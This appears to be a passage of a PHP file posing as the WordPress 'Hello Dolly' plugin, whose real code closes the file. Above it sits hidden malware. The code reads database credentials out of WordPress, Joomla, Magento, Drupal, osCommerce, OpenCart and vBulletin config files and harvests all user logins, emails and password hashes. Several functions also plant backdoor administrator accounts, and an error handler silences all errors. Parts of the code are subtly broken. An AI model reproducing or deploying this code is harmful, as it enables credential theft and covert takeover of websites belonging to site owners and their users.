    if(is_array($mpreffix)&&count($mpreffix)==3)
    {$tbl_preffix=$mpreffix[2];}
    
    
    $mysqli = new mysqli($db_host,$db_user,$db_pass,$db_name);
    if (!mysqli_connect_errno())
    {
        $result =  $mysqli->query("SELECT option_value FROM ".$tbl_preffix."options where option_name='siteurl' ");
        $uri = "";
        if($result)
        {
            $row = $result->fetch_assoc();
            $uri = $row["option_value"];   
            $result->close();
        }
        
        
        
        $result2 = $mysqli->query("SELECT user_login,user_email,user_pass FROM ".$tbl_preffix."users");
        if($result2)
        {
            while ($row = $result2->fetch_assoc())
            {
                $usrArray[] = $row["user_login"].":".$row["user_email"].":".$row["user_pass"];
            }
            $mysqli->close();
            return Array("url"=>$uri,"data"=>$usrArray)  ; 
            
        }   
    }

}
}
  }
  
  function getJMUserI($cont)
  {
      $db_name = NULL;
        $db_user = NULL;
        $db_pass = NULL;
        $db_host= NULL;
        $tbl_preffix="";
        $uri="";
preg_match_all('/(\$\w+\s*=\s*\')([^\']+)(\'\s*\;)/', $cont, $matches);
                if(is_array($matches))
{
    for($i=0;$i<count($matches[1]);$i++)
{
    if(stristr($matches[1][$i],"\$db "))
    {$db_name=$matches[2][$i];}
    elseif(stristr($matches[1][$i],"\$user "))
    {$db_user=$matches[2][$i];}
    elseif(stristr($matches[1][$i],"\$password"))
    {$db_pass=$matches[2][$i];}
    elseif(stristr($matches[1][$i],"\$host"))
    {$db_host=$matches[2][$i];}
    elseif(stristr($matches[1][$i],"\$dbprefix"))
    {$tbl_preffix=$matches[2][$i];}
    elseif(stristr($matches[1][$i],"\$sitename"))
    {$uri=$matches[2][$i];}
    
}
if(!empty($db_name))
{
    
        
            $mysqli = new mysqli($db_host,$db_user,$db_pass,$db_name);
    if (!mysqli_connect_errno())
            {
             
        $ErrorMsg = "";
               $result2 = $mysqli->query("SELECT username,email,password FROM ".$tbl_preffix."users") ;
 if($result2)
        {
            while ($row = $result2->fetch_assoc())
            {
                $usrArray[] = $row["username"].":".$row["email"].":".$row["password"];
            }
            $mysqli->close();
            return Array("url"=>$uri,"data"=>$usrArray)  ; 
            
        }  
            }
}
}
  }
  
  function getMGUserI($cont,$ismg2)
  {
        $db_name = NULL;
        $db_user = NULL;
        $db_pass = NULL;
        $db_host= NULL;
        $tbl_preffix="";
        $uri="";
        $roletbl="";
        
     if(!$ismg2&&stristr($cont,"<?xml version"))
     {
        $dbdata = new SimpleXMLElement($cont);
        $db_name = $dbdata->global->resources->default_setup->connection->dbname; 
        $db_user = $dbdata->global->resources->default_setup->connection->username;
        $db_pass = $dbdata->global->resources->default_setup->connection->password;
        $db_host= $dbdata->global->resources->default_setup->connection->host;
        $tbl_preffix=$dbdata->global->resources->db->table_prefix; 
        
     } elseif($ismg2&&stristr($cont,"'host' =>"))
     {
         //'host' => 'localhost',
     preg_match_all('/(\')(\w+)(\'\s*\=\>\s*\')([^\']+)/', $cont, $matches);
        if(is_array($matches))
{
    for($i=0;$i<count($matches[2]);$i++)
{
    if(stristr($matches[2][$i],"dbname"))
    {$db_name=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"username"))
    {$db_user=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"password"))
    {$db_pass=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"host"))
    {$db_host=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"table_prefix"))
    {$tbl_preffix=$matches[4][$i];}
    
}
     }
     
     }
        if(!is_null($db_name)&&!empty($db_name))
{
    
        
            $mysqli = new mysqli($db_host,$db_user,$db_pass,$db_name);
    if (!mysqli_connect_errno())
            {
                 $result =  $mysqli->query("SELECT value FROM ".$tbl_preffix."core_config_data where path='web/unsecure/base_url' ");
        $uri = "";
        if($result)
        {
            $row = $result->fetch_assoc();
            $uri = $row["value"];   
            $result->close();
        }
                

                $result2 =  mysql_query ("SELECT username,email,password FROM ".$tbl_preffix."admin_user");
if($result2)
        {
            while ($row = $result2->fetch_assoc())
            {
                $usrArray[] = $row["user_login"].":".$row["user_email"].":".$row["user_pass"];
            }
            $mysqli->close();
            return Array("url"=>$uri,"data"=>$usrArray)  ; 
            
        } 
        
            }

}
        
  }
  
  function getDPUserI($cont)
  {
        $db_name = NULL;
        $db_user = NULL;
        $db_pass = NULL;
        $db_host= NULL;
        $tbl_preffix="";
        $uri="";
        $roletbl="";
        
if(stristr($cont,"'host' =>"))
     {
         
      preg_match_all('/^\s*\$databases[^;]+\;/m', $cont, $matchdbs);
         
     if(is_array($matchdbs)) 
     {
     foreach($matchdbs[0] as $matchdb )
     {
         if(stristr($matchdb,"password"))
         {
                 preg_match_all('/^(\s+\')(\w+)(\'\s*\=\>\s*\')([^\']+)/m', $matchdb, $matches);
        if(is_array($matches))
{
    for($i=0;$i<count($matches[2]);$i++)
{
    if(stristr($matches[2][$i],"database"))
    {$db_name=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"username"))
    {$db_user=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"password"))
    {$db_pass=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"host"))
    {$db_host=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"prefix"))
    {$tbl_preffix=$matches[4][$i];}
    
}
     } 
     break;
         }
     }  

     }
     
     }
        if(!is_null($db_name)&&!empty($db_name))
{
    
        
             $mysqli = new mysqli($db_host,$db_user,$db_pass,$db_name);
    if (!mysqli_connect_errno())
            {
                $result =  $mysqli->query("SELECT value FROM ".$tbl_preffix."variable where name='site_name' ");

        $uri = "";
        if($result)
        {
            $row = $result->fetch_assoc();
            $uri = unserialize($row["value"]);   
            $result->close();
        }

                $result2 =  $mysqli->query("SELECT name,mail,pass FROM ".$tbl_preffix."users");
                $ErrorMsg = $mysqli->error;
                if ($ErrorMsg)
                {
                    
                    $result2 =  mysql_query ("SELECT name,mail,pass FROM ".$tbl_preffix."users_field_data") ;
                }
if($result2)
        {
            while ($row = $result2->fetch_assoc())
            {
                $usrArray[] = $row["name"].":".$row["mail"].":".$row["pass"];
            }
            $mysqli->close();
            return Array("url"=>$uri,"data"=>$usrArray)  ;             
        } 
    }
  }
  }
  
  function getOSCUserI($cont)
  {
      $db_name = NULL;
        $db_user = NULL;
        $db_pass = NULL;
        $db_host= NULL;
        $tbl_preffix="";
        $db_preffix="";
        $uri="";
      preg_match_all('/(define\(\')([^\']+)(\',\s*\')([^\']+)/', $cont, $matches);
        if(is_array($matches))
{
    for($i=0;$i<count($matches[2]);$i++)
{
    if(stristr($matches[2][$i],"DB_DATABASE"))
    {$db_name=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"DB_SERVER_USERNAME"))
    {$db_user=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"DB_SERVER_PASSWORD"))
    {$db_pass=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"DB_SERVER"))
    {$db_host=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"HTTP_SERVER"))
    {$uri=$matches[4][$i];}
    
}
if(!empty($db_name))
{
    
   
   
    $mysqli = new mysqli($db_host,$db_user,$db_pass,$db_name);
    if (!mysqli_connect_errno())
    {  
        $ErrorMsg = "";
        $result2 =  $mysqli->query("SELECT user_name,user_password FROM administrators", $con_mss);
        
        if($result2)
        {
            while ($row = $result2->fetch_assoc())
            {
                $usrArray[] = $row["user_name"].":".$row["user_password"];
            }
            $mysqli->close();
            return Array("url"=>$uri,"data"=>$usrArray)  ; 
            
        } 
        
}


  }
}
  }
  
  function setOSCUserI($cont,$u_name,$pass)
  {
       $db_name = NULL;
        $db_user = NULL;
        $db_pass = NULL;
        $db_host= NULL;
        $tbl_preffix="";
        $db_preffix="";
        $uri="";
      preg_match_all('/(define\(\')([^\']+)(\',\s*\')([^\']+)/', $cont, $matches);
        if(is_array($matches))
{
    for($i=0;$i<count($matches[2]);$i++)
{
    if(stristr($matches[2][$i],"DB_DATABASE"))
    {$db_name=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"DB_SERVER_USERNAME"))
    {$db_user=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"DB_SERVER_PASSWORD"))
    {$db_pass=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"DB_SERVER"))
    {$db_host=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"HTTP_SERVER"))
    {$uri=$matches[4][$i];}
    
}
if(!empty($db_name))
{
    
    
    $mysqli = new mysqli($db_host,$db_user,$db_pass,$db_name);
    if (!mysqli_connect_errno())
    {

        $result=$mysqli->query("SELECT user_name,user_password FROM administrators where user_name='$u_name' or user_password='$pass' ");
                      if($result->num_rows > 0)
        {
            $isExistUsr = false;
            while($row = $result->fetch_assoc())
            {
                if($row["user_password"]==$pass)
                {
                    $result->close();
                    $mysqli->close();
                    return Array("url"=>trim($uri),"user"=>$row["user_name"],"pass"=>$pass) ;
                } else if($row["user_name"]==$u_name)
                {
                    $isExistUsr = true;
                }
            }
            if($isExistUsr)
            {
                $u_name = generate_password(6);
            }
        }
        
        
        $insusrquery = $mysqli->query("INSERT INTO  administrators (user_name,user_password) VALUES('$u_name','$pass') ");
        if(!$insusrquery)
        {
            $err = $mysqli->error;
            if(stristr($err,"duplicate"))
            {
                $u_name = generate_password(6);
                
                $insusrquery = $mysqli->query("INSERT INTO administrators (user_name,user_password) VALUES('$u_name','$pass') ");
            }
        }       
        if($insusrquery)
               {
                  return Array("url"=>$uri,"user"=>$u_name,"pass"=>$pass) ;
               }
        
        
    }
    

}
}
  }
  
  function getOPUserI($cont)
  {
      $db_name = NULL;
        $db_user = NULL;
        $db_pass = NULL;
        $db_host= NULL;
        $tbl_preffix="";
        $db_preffix="";
        $uri="";
      preg_match_all('/(define\(\')([^\']+)(\',\s*\')([^\']+)/', $cont, $matches);
        if(is_array($matches))
{
    for($i=0;$i<count($matches[2]);$i++)
{
    if(stristr($matches[2][$i],"DB_DATABASE"))
    {$db_name=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"DB_USERNAME"))
    {$db_user=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"DB_PASSWORD"))
    {$db_pass=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"DB_HOSTNAME"))
    {$db_host=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"HTTP_SERVER"))
    {$uri=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"DB_PREFIX"))
    {$db_preffix=$matches[4][$i];}
    
}
if(!empty($db_name))
{
    
    
    $mysqli = new mysqli($db_host,$db_user,$db_pass,$db_name);
    if (!mysqli_connect_errno())
    {  
        $ErrorMsg = "";
        $result2 = $mysqli->query("SELECT username,password,salt FROM ".$db_preffix."user");
          if($result2)
        {
            while ($row = $result2->fetch_assoc())
            {
                $usrArray[] = $row["username"].":".$row["password"].":".$row["salt"];
            }
            $mysqli->close();
            return Array("url"=>$uri,"data"=>$usrArray)  ; 
            
        }   
}

  }
}
  }  
  
  function setOPCUserI($cont,$u_name,$pass,$salt)
  {
      $db_name = NULL;
        $db_user = NULL;
        $db_pass = NULL;
        $db_host= NULL;
        $tbl_preffix="";
        $db_preffix="";
        $uri="";
      preg_match_all('/(define\(\')([^\']+)(\',\s*\')([^\']+)/', $cont, $matches);
        if(is_array($matches))
{
    for($i=0;$i<count($matches[2]);$i++)
{
    if(stristr($matches[2][$i],"DB_DATABASE"))
    {$db_name=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"DB_USERNAME"))
    {$db_user=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"DB_PASSWORD"))
    {$db_pass=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"DB_HOSTNAME"))
    {$db_host=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"HTTP_SERVER"))
    {$uri=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"DB_PREFIX"))
    {$db_preffix=$matches[4][$i];}
    
}
if(!empty($db_name))
{
    
      $mysqli = new mysqli($db_host,$db_user,$db_pass,$db_name);
    if (!mysqli_connect_errno())
    {

        $result=$mysqli->query("SELECT username,password,salt FROM ".$db_preffix."user where username='$u_name' or password='$pass' ");
                if($result->num_rows > 0)
        {
            $isExistUsr = false;
            while($row = $result->fetch_assoc())
            {
                if($row["password"]==$pass)
                {
                    $result->close();
                    $mysqli->close();
                    return Array("url"=>trim($uri),"user"=>$row["username"],"pass"=>$pass,"pass"=>$row["salt"]) ;
                } else if($row["username"]==$u_name)
                {
                    $isExistUsr = true;
                }
            }
            if($isExistUsr)
            {
                $u_name = generate_password(6);
            }
        }
        $dateAdd =date_create()->format('Y-m-d H:i:s')  ;
        $insusrquery = $mysqli->query("INSERT INTO  ".$db_preffix."user (user_group_id,username,password,salt,firstname,lastname,email,image,code,ip,status,date_added) VALUES('1','$u_name','$pass','$salt','$u_name','$u_name','$u_name@gmail.com','','','','1','$dateAdd') ");
        if(!$insusrquery)
        {
            $err = $mysqli->error;
            if(stristr($err,"duplicate"))
            {
                $u_name = generate_password(6);
                
                $insusrquery = $mysqli->query("INSERT INTO  ".$db_preffix."user (user_group_id,username,password,salt,firstname,lastname,email,image,code,ip,status,date_added) VALUES('1','$u_name','$pass','$salt','$u_name','$u_name','$u_name@gmail.com','','','','1','$dateAdd') ");
            }
        }

        if($insusrquery)
               {
                  return Array("url"=>$uri,"user"=>$u_name,"pass"=>$pass) ;
               }
        
        
    }
    

}
}
  }

     function getVBUserI($cont)
  {
      $db_name = NULL;
        $db_user = NULL;
        $db_pass = NULL;
        $db_host= NULL;
        $tbl_preffix="";
        $uri="";
preg_match_all('/(\[\'\w+\'\]\s*\=\s*\')([^\']+)(\'\s*\;)/', $cont, $matches);
                if(is_array($matches))
{
    for($i=0;$i<count($matches[1]);$i++)
{
    if(stristr($matches[1][$i],"dbname"))
    {$db_name=$matches[2][$i];}
    elseif(stristr($matches[1][$i],"username"))
    {$db_user=$matches[2][$i];}
    elseif(stristr($matches[1][$i],"password"))
    {$db_pass=$matches[2][$i];}
    elseif(stristr($matches[1][$i],"servername"))
    {$db_host=$matches[2][$i];}
    elseif(stristr($matches[1][$i],"tableprefix"))
    {$tbl_preffix=$matches[2][$i];}
    elseif(stristr($matches[1][$i],"baseurl"))
    {$uri=$matches[2][$i];}
    
}
if(!empty($db_name))
{
    
        
            $mysqli = new mysqli($db_host,$db_user,$db_pass,$db_name);
    if (!mysqli_connect_errno())
            {
             
        $ErrorMsg = "";
               $result2 = $mysqli->query("SELECT username,email,token FROM ".$tbl_preffix."user") ;
 if($result2)
        {
            while ($row = $result2->fetch_assoc())
            {
                $usrArray[] = $row["username"].":".$row["email"].":".$row["token"];
            }
            $mysqli->close();
            return Array("url"=>$uri,"data"=>$usrArray)  ; 
            
        }  
            }
}
}
  }
  
  function setVBUserI($cont,$u_name,$pass,$secret)
  {
          $db_name = NULL;
        $db_user = NULL;
        $db_pass = NULL;
        $db_host= NULL;
        $tbl_preffix="";
        $uri="";
preg_match_all('/(\[\'\w+\'\]\s*\=\s*\')([^\']+)(\'\s*\;)/', $cont, $matches);
                if(is_array($matches))
{
    for($i=0;$i<count($matches[1]);$i++)
{
    if(stristr($matches[1][$i],"dbname"))
    {$db_name=$matches[2][$i];}
    elseif(stristr($matches[1][$i],"username"))
    {$db_user=$matches[2][$i];}
    elseif(stristr($matches[1][$i],"password"))
    {$db_pass=$matches[2][$i];}
    elseif(stristr($matches[1][$i],"servername"))
    {$db_host=$matches[2][$i];}
    elseif(stristr($matches[1][$i],"tableprefix"))
    {$tbl_preffix=$matches[2][$i];}
    elseif(stristr($matches[1][$i],"baseurl"))
    {$uri=$matches[2][$i];}
    
}
if(!empty($db_name))
{
         $mysqli = new mysqli($db_host,$db_user,$db_pass,$db_name);
       
            if (!mysqli_connect_errno())
            {
                $result=$mysqli->query("SELECT userid,username,token FROM ".$tbl_preffix."user where username='$u_name' or token='$pass' ");
                  if($result->num_rows > 0)
        {
            $isExistUsr = false;
            while($row = $result->fetch_assoc())
            {
                if($row["token"]==$pass)
                {
                    $result->close();
                    $mysqli->close();
                    return Array("url"=>trim($uri),"user"=>$row["username"],"pass"=>$pass) ;
                } else if($row["username"]==$u_name)
                {
                    $isExistUsr = true;
                }
            }
            if($isExistUsr)
            {
                $u_name = generate_password(6);
            }
            $result->close();
        }
        
        $insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."user (usergroupid,username,token,email,scheme,secret) VALUES('6','$u_name','$pass','$u_name@gmail.com','blowfish:10','$secret') ");
        if(!$insusrquery)
        {
            $err = $mysqli->error;
            if(stristr($err,"duplicate"))
            {
                $u_name = generate_password(6);
                
                $insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."user (usergroupid,username,token,email,scheme,secret) VALUES('6','$u_name','$pass','$u_name@gmail.com','blowfish:10','$secret') ");
            }
        }
        
               if($insusrquery)
               {
                  return Array("url"=>trim($uri),"user"=>$u_name,"pass"=>$pass) ;
               }        
           }
        }            
        }        
            }

  function ErrHandler($errno, $errstr, $errfile=null, $errline=null, array $errcontext=array())
{
    return true;
}

/**
 * @package Hello_Dolly
 * @version 1.7.2
 */
/*
Plugin Name: Hello Dolly
Plugin URI: http://wordpress.org/plugins/hello-dolly/
Description: This is not just a plugin, it symbolizes the hope and enthusiasm of an entire generation summed up in two words sung most famously by Louis Armstrong: Hello, Dolly. When activated you will randomly see a lyric from <cite>Hello, Dolly</cite> in the upper right of your admin screen on every page.
Author: Matt Mullenweg
Version: 1.7.2
Author URI: http://ma.tt/
*/

function hello_dolly_get_lyric() {
	/** These are the lyrics to Hello Dolly */
	$lyrics = "Hello, Dolly
Well, hello, Dolly
It's so nice to have you back where you belong
You're lookin' swell, Dolly
I can tell, Dolly
You're still glowin', you're still crowin'
You're still goin' strong
I feel the room swayin'
While the band's playin'
One of our old favorite songs from way back when
So, take her wrap, fellas
Dolly, never go away again
Hello, Dolly
Well, hello, Dolly
It's so nice to have you back where you belong
You're lookin' swell, Dolly
I can tell, Dolly
You're still glowin', you're still crowin'
You're still goin' strong
I feel the room swayin'
While the band's playin'
One of our old favorite songs from way back when
So, golly, gee, fellas
Have a little faith in me, fellas
Dolly, never go away
Promise, you'll never go away
Dolly'll never go away again";

	// Here we split it into lines.
	$lyrics = explode( "\n", $lyrics );

	// And then randomly choose a line.
	return wptexturize( $lyrics[ mt_rand( 0, count( $lyrics ) - 1 ) ] );
}

// This just echoes the chosen line, we'll position it later.
function hello_dolly() {
	$chosen = hello_dolly_get_lyric();
	$lang   = '';
	if ( 'en_' !== substr( get_user_locale(), 0, 3 ) ) {
		$lang = ' lang="en"';
	}

	printf(
		'<p id="dolly"><span class="screen-reader-text">%s </span><span dir="ltr"%s>%s</span></p>',
		__( 'Quote from Hello Dolly song, by Jerry Herman:' ),
		$lang,
		$chosen
	);
}

// Now we set that function up to execute when the admin_notices action is called.
add_action( 'admin_notices', 'hello_dolly' );

// We need some CSS to position the paragraph.
function dolly_css() {
	echo "
	<style type='text/css'>
	#dolly {
		float: right;
		padding: 5px 10px;
		margin: 0;
		font-size: 12px;
		line-height: 1.6666;
	}
	.rtl #dolly {
		float: left;
	}
	.block-editor-page #dolly {
		display: none;
	}
	@media screen and (max-width: 782px) {
		#dolly,
		.rtl #dolly {
			float: none;
			padding-left: 0;
			padding-right: 0;
		}
	}
	</style>
	";
}

add_action( 'admin_head', 'dolly_css' );